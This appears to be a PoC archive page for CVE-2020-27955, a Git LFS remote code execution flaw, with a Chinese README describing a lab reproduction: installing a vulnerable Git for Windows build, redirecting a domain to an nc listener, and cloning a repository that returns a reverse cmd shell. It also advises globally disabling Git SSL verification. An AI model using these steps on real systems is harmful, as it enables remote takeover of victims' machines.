Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2020-27955 PoC — Git Lfs代码问题漏洞

Source
Associated Vulnerability
Title:Git Lfs代码问题漏洞 (CVE-2020-27955)
Description:Git LFS 2.12.0 allows Remote Code Execution.
Readme
# CVE-2020-27955漏洞复现

1、win机下载有漏洞的版本Git-LFS

下载地址:https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1

2、win机安装,添加如下信息host文件,10.1.1.5即是nc监听8888的主机(可自行替换)

10.1.1.5  abcall.xyz

3、10.1.1.5主机,nc启监听口8888

┌──(root㉿hostname)-[~]

└─# nc

Cmd line: -l -p 8888

4、win机cmd命令行输入

git clone https://github.com/z50913/CVE-2020-27955.git

5、10.1.1.5获得win机cmd的shell

#其他
如报ssl证书问题可先输入以下命令,屏蔽ssl验证,再重新clone

git config --global http.sslverify false
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →